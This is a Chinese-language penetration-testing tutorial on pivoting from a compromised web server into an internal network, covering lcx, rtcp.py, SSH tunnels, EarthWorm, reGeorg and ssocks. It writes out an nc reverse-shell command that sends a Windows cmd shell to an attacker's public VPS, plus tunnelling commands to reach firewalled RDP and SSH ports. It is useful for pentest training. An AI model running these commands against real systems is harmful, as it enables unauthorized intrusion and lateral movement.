端口转发和代理
1.用途
当我们拿到一个网站的webshell后需要进行下一步的渗透,这个时候很可能会面对两个问题:
- 该网站的敏感端口(比如3389)只对内网开放,不能直接从外网访问到
- 想要去进一步内网渗透,但内网的其他主机不能直接从外网访问到,需要被控制的主机作为一个跳板
这个时候就需要利用到端口转发和代理的技术
2.两种代理方式
- 正向代理:client主动向proxy发送请求,并指明server,proxy把client的请求发给server并把server的响应发回给client
- 反向代理:proxy主动连接client,将client的请求转化为对server的请求,再把结果发给client。如果client无法直接连接proxy,但proxy可以连接client,就可以使用反向代理
3.实际中的使用
3.1 lcx转发
lcx是很老的一款工具了,在windows下是lcx.exe,linux下是portmap,主要还是用在windows下用来转发3389端口
各种杀软都会杀它,所以现在实际使用比较局限
它可以解决的情况是:
- 存在防火墙无法直接访问内网主机,但内网主机可以访问外网
以访问内网主机的3389端口为例
在公网vps上执行
1 | lcx.exe -listen 2333 5555 |
在内网机器上执行
1 | lcx.exe –slave 公网ip 2333 本机ip 3389 |
这时访问公网vps的5555端口就会连接到内网机器的3389端口上
3.2 rtcp.py转发
https://github.com/knownsec/rtcp
类似lcx,一般用在linux下反弹22端口
在公网vps上执行
1 | ./rtcp.py l:10001 l:10002 |
在内网机器上执行
1 | ./rtcp.py c:localhost:22 c:公网ip:10001 |
然后就可以用ssh 公网ip -p 10002 来访问内网机器的22端口了
3.3 nc反弹shell
nc一般用来反弹shell,也是用来解决无法直接连接到内网机器,但是内网机器可以连接到外网的情况
在公网vps上执行
1 | nc -lp 5555 |
在内网机器上执行
1 | windows: nc -t -e cmd 公网ip 5555 |
3.4 ssh隧道代理
linux上很实用的东西,因为不需要上传额外的文件
应用场景
3.4.1 几个参数
- -L 正向隧道
- -R 反向隧道
- -D 动态转发
- -q 安静模式
- -T 不占用 shell
- -f 后台运行,并推荐加上 -n 参数
- -N 不执行远程命令,用来端口转发
3.4.2 正向代理,动态端口转发
使用ssh进行端口转发的前提是要知道服务器B的ssh口令
在A上执行
1 | ssh -qTfnN -D 2333 root@B的ip |
将A的2333端口与B的22端口(ssh的端口)建立连接
之后就可以用A的2333端口作为socks代理直接访问到C
3.4.3正向代理,单一端口转发
在A上执行
1 | ssh -qTfnN -L 2333:C的ip:3389 root@B的ip |
这时访问A的2333端口就相当于访问了C的3389端口
3.4.4反向代理,单一端口转发
先要在A上生成ssh所需要的host key
1 | ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key |
然后在B上运行
1 | ssh -qTfnN -R 2333:C的ip:80 root@A的ip |
这个时候B是一个反向代理,它会主动去连接A的22端口,将对A的2333端口的请求转发给C的80端口,再通过ssh将结果返回
这时可以通过访问A的2333端口访问C的80端口
如果防火墙禁止了A去连接B,但B可以主动连接外网,就可以采用这种反向代理的方式
3.4.5 双层代理
假如这时候目标是内网中的另一台主机D,只有C能访问到D,这个时候依然可以利用ssh进行端口转发
在B上执行
1 | ssh -qTfnN -R 2333:127.0.0.1:4444 root@A的ip |
然后可以用A的2333端口作为代理去访问D
3.5 EarthWorm
旧版: http://rootkiter.com/EarthWorm/
新版: http://rootkiter.com/Termite/
很强大的一款工具,既可以用来端口转发也可以用来socks代理
还是刚刚ssh的场景
3.5.1 正向代理
假如B与外网连通的话,上传ew后在B上执行
1 | ew –s ssocksd –l 2333 |
然后就可以把B的2333端口作为代理,去访问C
3.5.2 反向代理
假如无法直接访问B,但B可以访问外网的话,就可以使用反向代理
在A上执行
1 | ew -s rcsocks -l 1008 -e 2333 |
在B上执行
1 | ew -s rssocks -d A的ip -e 2333 |
这时就可以用A的2333端口作为socks代理访问到C了
3.6 reGeorg
https://github.com/sensepost/reGeorg
利用webshell来进行socks代理,要求服务器支持aspx、php、jsp、js等web语言
依旧是这个场景
先要在B上上传对应的tunnel.xxx
以php为例,上传tunnel.php和tunnel.nosocket.php
在A上执行
1 | python reGeorgSocksProxy.py -u reGeorg脚本地址 -p 2333 |
然后就可以通过A的2333端口作为代理访问到C
- windows下经常配合Proxifier去走全局代理(详细可以看这篇http://www.yingyingguaier.top/2019/06/19/reGeorg+Proxifier%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91/)
- linux则配合Proxychains来代理
3.7 ssocks
也是类似的socks代理工具
安装
1 | wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz |
在A上执行
1 | ./rcsocks -l 1080 -p 2333 -v |
在B上执行
1 | ./rssocks -s -b A的ip:2333 -v |
之后就可以用A的1080端口作为socks代理去访问到C了